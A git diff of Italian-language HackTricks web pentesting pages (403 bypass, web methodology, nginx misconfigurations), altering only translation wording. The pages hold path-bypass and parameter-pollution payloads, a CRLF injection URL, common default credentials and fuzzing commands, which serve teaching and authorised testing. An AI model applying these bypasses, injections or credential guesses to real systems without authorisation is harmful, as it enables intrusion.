@ -55,7 +55,7 @@ Se il **percorso è protetto**, puoi provare a bypassare la protezione del perco
|
|||
|
||||
* `X-Original-URL: /admin/console`
|
||||
* `X-Rewrite-URL: /admin/console`
|
||||
* Se la pagina è **dietro un proxy**, forse è il proxy a impedirti di accedere alle informazioni private. Prova ad abusare di [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **o** [**intestazioni hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* Se la pagina è **dietro un proxy**, forse è il proxy a impedire l'accesso alle informazioni private. Prova ad abusare di [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **o** [**intestazioni hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* Fuzz [**intestazioni HTTP speciali**](special-http-headers.md) cercando risposte diverse.
|
||||
* **Fuzz intestazioni HTTP speciali** mentre fai fuzzing **metodi HTTP**.
|
||||
* **Rimuovi l'intestazione Host** e forse sarai in grado di bypassare la protezione.
|
||||
|
@ -65,7 +65,7 @@ Se il **percorso è protetto**, puoi provare a bypassare la protezione del perco
|
|||
Se _/path_ è bloccato:
|
||||
|
||||
* Prova a usare _**/**_**%2e/path \_(se l'accesso è bloccato da un proxy, questo potrebbe bypassare la protezione). Prova anche**\_\*\* /%252e\*\*/path (doppia codifica URL)
|
||||
* Prova il **bypass Unicode**: _/**%ef%bc%8f**path_ (I caratteri codificati URL sono come "/") quindi quando viene ricodificato sarà _//path_ e forse avrai già bypassato il controllo del nome _/path_
|
||||
* Prova il **bypass Unicode**: _/**%ef%bc%8f**path_ (I caratteri codificati in URL sono come "/") quindi quando viene ricodificato sarà _//path_ e forse avrai già bypassato il controllo del nome _/path_
|
||||
* **Altri bypass del percorso**:
|
||||
* site.com/secret –> HTTP 403 Forbidden
|
||||
* site.com/SECRET –> HTTP 200 OK
|
||||
|
@ -88,8 +88,8 @@ Se _/path_ è bloccato:
|
|||
* {“id”:\[111]} --> 200 OK
|
||||
* {“id”:111} --> 401 Unauthriozied
|
||||
* {“id”:{“id”:111\}} --> 200 OK
|
||||
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (Inquinamento dei Parametri JSON)
|
||||
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Inquinamento dei Parametri)
|
||||
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (Inquinamento del parametro JSON)
|
||||
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Inquinamento del parametro)
|
||||
|
||||
## **Manipolazione dei Parametri**
|
||||
|
||||
|
@ -114,7 +114,7 @@ Se usi HTTP/1.1 **prova a usare 1.0** o anche a testare se **supporta 2.0**.
|
|||
## **Brute Force**
|
||||
|
||||
* **Indovina la password**: Testa le seguenti credenziali comuni. Sai qualcosa sulla vittima? O sul nome della sfida CTF?
|
||||
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Prova autenticazioni di base, digest e NTLM.
|
||||
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Prova autenticazioni basic, digest e NTLM.
|
||||
|
||||
{% code title="Credenziali comuni" %}
|
||||
```
|
||||
|
@ -140,9 +140,9 @@ guest guest
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatici per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 80,443 - Metodologia di Pentesting Web
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,9 +17,9 @@ Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -54,13 +54,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Qualche **scanner specializzato** da eseguire (come wpscan)?
|
||||
* [ ] Avvia **scanner di uso generale**. Non sai mai se troveranno qualcosa o se troveranno informazioni interessanti.
|
||||
* [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e **scansione SSL/TLS** (se HTTPS).
|
||||
* [ ] Inizia a **spiderare** la pagina web: È tempo di **trovare** tutti i possibili **file, cartelle** e **parametri utilizzati.** Inoltre, controlla eventuali **risultati speciali**.
|
||||
* [ ] Inizia a **spiderare** la pagina web: È tempo di **trovare** tutti i possibili **file, cartelle** e **parametri utilizzati.** Controlla anche eventuali **risultati speciali**.
|
||||
* [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere spiderata._
|
||||
* [ ] **Brute-Forcing delle Directory**: Prova a forzare tutte le cartelle scoperte cercando nuovi **file** e **directory**.
|
||||
* [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere forzata._
|
||||
* [ ] **Controllo dei Backup**: Verifica se riesci a trovare **backup** di **file scoperti** aggiungendo estensioni di backup comuni.
|
||||
* [ ] **Brute-Force dei parametri**: Prova a **trovare parametri nascosti**.
|
||||
* [ ] Una volta che hai **identificato** tutti i possibili **endpoint** che accettano **input utente**, controlla tutti i tipi di **vulnerabilità** ad esso correlate.
|
||||
* [ ] Una volta che hai **identificato** tutti i possibili **endpoint** che accettano **input utente**, controlla tutti i tipi di **vulnerabilità** correlate.
|
||||
* [ ] [Segui questa checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
|
@ -117,14 +117,14 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben
|
|||
* [**WebDav**](put-method-webdav.md)
|
||||
* [**Werkzeug**](werkzeug.md)
|
||||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
* [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Tieni presente che il **stesso dominio** può utilizzare **tecnologie diverse** su **porte**, **cartelle** e **sottodomini** diversi._\
|
||||
_Tieni presente che il **stesso dominio** può utilizzare **tecnologie diverse** in **porte**, **cartelle** e **sottodomini** diversi._\
|
||||
Se l'applicazione web utilizza qualche **tecnologia/piattaforma ben nota elencata sopra** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
|
||||
|
||||
### Revisione del codice sorgente
|
||||
|
||||
Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire **un test White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale:
|
||||
Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire un **test White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale:
|
||||
|
||||
* C'è un file **Change-log o Readme o Version** o qualsiasi cosa con **informazioni sulla versione accessibili** via web?
|
||||
* Come e dove sono salvate le **credenziali**? C'è qualche **file** (accessibile?) con credenziali (nomi utente o password)?
|
||||
|
@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
```
|
||||
#### Scanner CMS
|
||||
|
||||
Se viene utilizzato un CMS, non dimenticare di **eseguire uno scanner**, potrebbe essere trovato qualcosa di succoso:
|
||||
Se viene utilizzato un CMS non dimenticare di **eseguire uno scanner**, potrebbe essere trovato qualcosa di succoso:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** siti web per problemi di sicurezza. (GUI)\
|
||||
|
@ -240,19 +240,19 @@ Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spide
|
|||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carica una pagina in un browser senza testa e stampa tutti gli URL caricati per caricare la pagina.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Strumento di scoperta dei contenuti che mescola diverse opzioni degli strumenti precedenti.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Un'estensione di Burp per trovare percorsi e parametri in file JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che dato l'URL .js.map ti fornirà il codice JS abbellito.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che, data l'URL .js.map, ti fornirà il codice JS abbellito.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Questo è uno strumento utilizzato per scoprire endpoint per un dato target.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scoprire link dalla wayback machine (scaricando anche le risposte nella wayback e cercando più link).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando moduli) e trova anche informazioni sensibili utilizzando regex specifici.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider web GUI multi-funzionale progettato per professionisti della sicurezza informatica.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider GUI multi-funzionale progettato per professionisti della sicurezza informatica.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un pacchetto Go e [strumento da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URL, percorsi, segreti e altri dati interessanti dal codice sorgente JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **estensione di Burp Suite** per **estrarre i parametri e gli endpoint** dalla richiesta per creare una wordlist personalizzata per fuzzing ed enumerazione.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **estensione di Burp Suite** per **estrarre i parametri e gli endpoint** dalla richiesta per creare una lista di parole personalizzata per fuzzing ed enumerazione.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Strumento fantastico per questo.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Stampa ogni link che riesce a trovare.
|
||||
|
||||
### Brute Force directory e file
|
||||
|
||||
Inizia a **brute-forzare** dalla cartella radice e assicurati di brute-forzare **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dallo **Spidering** (puoi fare questo brute-forcing **ricorsivamente** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\
|
||||
Inizia a **brute-forzare** dalla cartella radice e assicurati di brute-forzare **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dallo **Spidering** (puoi fare questo brute-forcing **ricorsivamente** e aggiungendo all'inizio della lista di parole utilizzata i nomi delle directory trovate).\
|
||||
Strumenti:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Inclusi in Kali, **vecchi** (e **lenti**) ma funzionali. Consentono certificati auto-firmati e ricerca ricorsiva. Troppo lenti rispetto ad altre opzioni.
|
||||
|
@ -261,17 +261,17 @@ Strumenti:
|
|||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Veloce, supporta ricerca ricorsiva.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Veloce: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che dato l'elenco di URL trovati eliminerà gli URL "duplicati".
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Estensione Burp per creare un elenco di directory dalla cronologia burp di diverse pagine.
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che, data la lista di URL trovati, eliminerà gli URL "duplicati".
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Estensione Burp per creare una lista di directory dalla cronologia burp di diverse pagine.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuovi URL con funzionalità duplicate (basato su importazioni js).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Utilizza wapalyzer per rilevare le tecnologie utilizzate e selezionare le wordlist da utilizzare.
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Utilizza wapalyzer per rilevare le tecnologie utilizzate e selezionare le liste di parole da utilizzare.
|
||||
|
||||
**Dizionari consigliati:**
|
||||
|
||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* [**Dizionario incluso in Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||
* [Liste di parole Assetnote](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
* raft-large-directories-lowercase.txt
|
||||
* directory-list-2.3-medium.txt
|
||||
|
@ -285,21 +285,21 @@ Strumenti:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere Brute-Forzata._
|
||||
_Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere brute-forzata._
|
||||
|
||||
### Cosa controllare in ogni file trovato
|
||||
### Cosa controllare su ogni file trovato
|
||||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti all'interno degli HTML che potrebbero essere soggetti a takeover.
|
||||
* **Backup di file**: Una volta trovati tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se puoi, potresti provare a cercare** parametri nascosti in ogni file web eseguibile.
|
||||
* _Arjun tutte le wordlist predefinite:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Arjun tutte le liste di parole predefinite:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Commenti:** Controlla i commenti di tutti i file, puoi trovare **credenziali** o **funzionalità nascoste**.
|
||||
* Se stai partecipando a un **CTF**, un trucco "comune" è **nascondere** **informazioni** all'interno dei commenti a destra della **pagina** (utilizzando **centinaia** di **spazi** in modo da non vedere i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web.
|
||||
* **Chiavi API**: Se **trovi una chiave API** c'è una guida che indica come utilizzare le chiavi API di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
* Chiavi API di Google: Se trovi una chiave API che sembra **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API la chiave può accedere.
|
||||
* Chiavi API di Google: Se trovi una chiave API che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API la chiave può accedere.
|
||||
* **S3 Buckets**: Durante lo spidering controlla se qualche **sottodominio** o qualche **link** è correlato a qualche **S3 bucket**. In tal caso, [**controlla** le **permissive** del bucket](buckets/).
|
||||
|
||||
### Scoperte speciali
|
||||
|
@ -339,11 +339,11 @@ Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.ns
|
|||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
È possibile **inserire contenuti** all'interno di una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà la redirezione) ma qualcosa potrebbe essere **nascosto** lì dentro.
|
||||
È possibile **inserire contenuti** all'interno di una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà il reindirizzamento) ma qualcosa potrebbe essere **nascosto** lì dentro.
|
||||
|
||||
### Controllo delle vulnerabilità web
|
||||
|
||||
Ora che è stata eseguita un'ampia enumerazione dell'applicazione web è tempo di controllare molte possibili vulnerabilità. Puoi trovare la checklist qui:
|
||||
Ora che è stata eseguita un'ampia enumerazione dell'applicazione web, è tempo di controllare molte possibili vulnerabilità. Puoi trovare la checklist qui:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
@ -355,15 +355,15 @@ Trova ulteriori informazioni sulle vulnerabilità web in:
|
|||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Monitorare le pagine per modifiche
|
||||
### Monitorare le pagine per le modifiche
|
||||
|
||||
Puoi utilizzare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare le pagine per modifiche che potrebbero inserire vulnerabilità.
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto commerciale.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto commerciale.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in rapporti persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -36,9 +36,9 @@ proxy_pass http://127.0.0.1:8080/;
|
|||
}
|
||||
}
|
||||
```
|
||||
In questa configurazione, `/etc/nginx` è designato come la directory radice. Questa impostazione consente l'accesso ai file all'interno della directory radice specificata, come `/hello.txt`. Tuttavia, è fondamentale notare che è definita solo una posizione specifica (`/hello.txt`). Non c'è configurazione per la posizione radice (`location / {...}`). Questa omissione significa che la direttiva root si applica globalmente, consentendo alle richieste al percorso radice `/` di accedere ai file sotto `/etc/nginx`.
|
||||
In questa configurazione, `/etc/nginx` è designato come la directory radice. Questa impostazione consente l'accesso ai file all'interno della directory radice specificata, come `/hello.txt`. Tuttavia, è fondamentale notare che è definita solo una posizione specifica (`/hello.txt`). Non c'è configurazione per la posizione radice (`location / {...}`). Questa omissione significa che la direttiva radice si applica globalmente, consentendo le richieste al percorso radice `/` di accedere ai file sotto `/etc/nginx`.
|
||||
|
||||
Una considerazione critica per la sicurezza deriva da questa configurazione. Una semplice richiesta `GET`, come `GET /nginx.conf`, potrebbe esporre informazioni sensibili servendo il file di configurazione di Nginx situato in `/etc/nginx/nginx.conf`. Impostare la root su una directory meno sensibile, come `/etc`, potrebbe mitigare questo rischio, ma potrebbe comunque consentire accessi non intenzionali ad altri file critici, inclusi altri file di configurazione, log di accesso e persino credenziali crittografate utilizzate per l'autenticazione di base HTTP.
|
||||
Una considerazione critica per la sicurezza deriva da questa configurazione. Una semplice richiesta `GET`, come `GET /nginx.conf`, potrebbe esporre informazioni sensibili servendo il file di configurazione di Nginx situato in `/etc/nginx/nginx.conf`. Impostare la radice su una directory meno sensibile, come `/etc`, potrebbe mitigare questo rischio, ma potrebbe comunque consentire accessi non intenzionali ad altri file critici, inclusi altri file di configurazione, log di accesso e persino credenziali crittografate utilizzate per l'autenticazione di base HTTP.
|
||||
|
||||
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||
|
||||
|
@ -102,7 +102,7 @@ location / {
|
|||
return 302 https://example.com$uri;
|
||||
}
|
||||
```
|
||||
I caratteri \r (Carriage Return) e \n (Line Feed) significano caratteri di nuova linea nelle richieste HTTP, e le loro forme codificate in URL sono rappresentate come `%0d%0a`. Includere questi caratteri in una richiesta (ad esempio, `http://localhost/%0d%0aDetectify:%20clrf`) a un server mal configurato porta il server a emettere un nuovo header chiamato `Detectify`. Questo accade perché la variabile $uri decodifica i caratteri di nuova linea codificati in URL, portando a un header imprevisto nella risposta:
|
||||
I caratteri \r (Carriage Return) e \n (Line Feed) significano caratteri di nuova linea nelle richieste HTTP, e le loro forme codificate in URL sono rappresentate come `%0d%0a`. Includere questi caratteri in una richiesta (ad es., `http://localhost/%0d%0aDetectify:%20clrf`) a un server mal configurato porta il server a emettere un nuovo header chiamato `Detectify`. Questo accade perché la variabile $uri decodifica i caratteri di nuova linea codificati in URL, portando a un header imprevisto nella risposta:
|
||||
```
|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
Server: nginx/1.19.3
|
||||
|
@ -128,7 +128,7 @@ Altri esempi di rilevamento potrebbero essere:
|
|||
|
||||
Alcune configurazioni vulnerabili trovate in quel intervento erano:
|
||||
|
||||
* Nota come **`$uri`** è impostato così com'è nell'URL finale.
|
||||
* Nota come **`$uri`** è impostato così com'è nell'URL finale
|
||||
```
|
||||
location ^~ /lite/api/ {
|
||||
proxy_pass http://lite-backend$uri$is_args$args;
|
||||
|
@ -158,9 +158,9 @@ Scans per questa misconfigurazione su sistemi diversi hanno rivelato molteplici
|
|||
|
||||
## Lettura della risposta backend grezza
|
||||
|
||||
Nginx offre una funzionalità tramite `proxy_pass` che consente l'intercettazione di errori e intestazioni HTTP prodotti dal backend, con l'obiettivo di nascondere messaggi di errore e intestazioni interni. Questo viene realizzato da Nginx servendo pagine di errore personalizzate in risposta agli errori del backend. Tuttavia, sorgono sfide quando Nginx incontra una richiesta HTTP non valida. Tale richiesta viene inoltrata al backend così com'è, e la risposta grezza del backend viene quindi inviata direttamente al client senza l'intervento di Nginx.
|
||||
Nginx offre una funzionalità tramite `proxy_pass` che consente l'intercettazione di errori e intestazioni HTTP prodotte dal backend, con l'obiettivo di nascondere messaggi di errore interni e intestazioni. Questo viene realizzato da Nginx servendo pagine di errore personalizzate in risposta agli errori del backend. Tuttavia, sorgono sfide quando Nginx incontra una richiesta HTTP non valida. Tale richiesta viene inoltrata al backend così com'è, e la risposta grezza del backend viene quindi inviata direttamente al client senza l'intervento di Nginx.
|
||||
|
||||
Considera un esempio di scenario che coinvolge un'applicazione uWSGI:
|
||||
Considera uno scenario esemplificativo che coinvolge un'applicazione uWSGI:
|
||||
```python
|
||||
def application(environ, start_response):
|
||||
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
|
||||
|
@ -175,21 +175,21 @@ proxy_hide_header Secret-Header;
|
|||
}
|
||||
```
|
||||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Questa direttiva consente a Nginx di servire una risposta personalizzata per le risposte del backend con un codice di stato superiore a 300. Garantisce che, per il nostro esempio di applicazione uWSGI, una risposta `500 Error` venga intercettata e gestita da Nginx.
|
||||
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Come suggerisce il nome, questa direttiva nasconde intestazioni HTTP specificate dal client, migliorando la privacy e la sicurezza.
|
||||
